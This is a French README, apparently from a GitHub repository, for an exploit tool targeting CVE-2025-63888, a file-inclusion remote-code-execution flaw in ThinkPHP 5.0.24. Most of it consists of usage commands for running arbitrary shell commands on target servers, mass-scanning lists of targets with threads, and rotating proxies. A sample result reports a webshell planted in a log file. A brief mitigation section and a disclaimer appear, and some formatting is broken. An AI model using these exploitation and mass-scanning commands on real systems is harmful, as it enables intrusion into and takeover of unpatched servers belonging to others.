
Outil de recherche en sécurité pour détecter et tester CVE-2025-63888 (ThinkPHP 5.0.24 vulnérabilité d'inclusion de fichier RCE)
Un outil de recherche en sécurité pour détecter et tester la vulnérabilité CVE-2025-63888 dans ThinkPHP 5.0.24, qui permet l'exécution de code à distance via des attaques par inclusion de fichier.
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé aux systèmes informatiques est illégal. Utilisez cet outil uniquement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite explicite de tester.
CVE-2025-63888 est une vulnérabilité critique d'exécution de code à distance dans ThinkPHP 5.0.24. La vulnérabilité réside dans la fonction read située dans thinkphp/library/think/template/driver/File.php, permettant aux attaquants d'exécuter du code arbitraire via des attaques par inclusion de fichier en manipulant le chemin du template dans la fonction view().
Score CVSS : 9.8 (Critique)
Version affectée : ThinkPHP 5.0.24 (version exacte)
Fichier vulnérable : thinkphp/library/think/template/driver/File.php
méthode
read()# Clonez le dépôt
git clone https://github.com/AN5I/cve-2025-63888-exploit.git
cd cve-2025-63888-exploit
# Installez les dépendances
pip install -r requirements.txt
# Rendez le script exécutable (optionnel)
chmod +x cve_2025_63888_exploit.py
# Téléchargez le script
wget https://raw.githubusercontent.com/AN5I/cve-2025-63888-exploit/main/cve_2025_63888_exploit.py
# Installez les dépendances
pip install requests
# Cible unique
python3 cve_2025_63888_exploit.py -u http://target.com
# Exécuter une commande personnalisée
python3 cve_2025_63888_exploit.py -u http://target.com -c "whoami"
# Plusieurs cibles depuis un fichier
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
# Avec threading pour un scan plus rapide
python3 cve_2025_63888_exploit.py -u http://target.com -t 5
# Sortie verbose pour le débogage
python3 cve_2025_63888_exploit.py -u http://target.com -v
# Proxy unique
python3 cve_2025_63888_exploit.py -u http://target.com --proxy http://proxy:port
# Plusieurs proxies depuis un fichier
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
-u, --url URL cible
-f, --file Fichier contenant les URL cibles (une par ligne)
-c, --command Commande à exécuter (par défaut : id)
-t, --threads Nombre de threads (par défaut : 1)
-o, --output Fichier de sortie (par défaut : uknf_results.json)
-v, --verbose Activer la journalisation détaillée
--proxy URL du proxy (ex. http://127.0.0.1:8080)
--proxy-list Fichier contenant les URL des proxies (une par ligne)
Le script génère un fichier JSON avec des résultats détaillés :
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:05:35.763409",
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/index.php/index/index/view",
"webshell_created": true,
"webshell_path": "../../../runtime/log/2025/11/18.log"
}
view()Si vous utilisez ThinkPHP 5.0.24 :
Mettez à jour immédiatement :
Implémentez la validation des chemins :
view()../, ..)Correctifs au niveau du code :
realpath() pour garantir que les fichiers se trouvent dans les répertoires autoriséspython3 cve_2025_63888_exploit.py -u https://example.com
# Créez le fichier des cibles
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Lancez le scan
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
python3 cve_2025_63888_exploit.py -u https://example.com -c "uname -a"
# Proxy unique
python3 cve_2025_63888_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# Plusieurs proxies depuis un fichier
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
Les contributions sont les bienvenues ! N'hésitez pas à soumettre une Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Si vous rencontrez des problèmes ou avez des suggestions, veuillez ouvrir un problème sur GitHub.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Si vous trouvez cet outil utile, veuillez envisager de lui donner une étoile sur GitHub !
Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce programme. Les utilisateurs sont responsables de s'assurer qu'ils disposent de l'autorisation appropriée avant de tester tout système.
Si vous trouvez cet outil utile et souhaitez soutenir le projet :
Bitcoin (BTC) :
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH) :
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
Merci pour votre soutien ! 🙏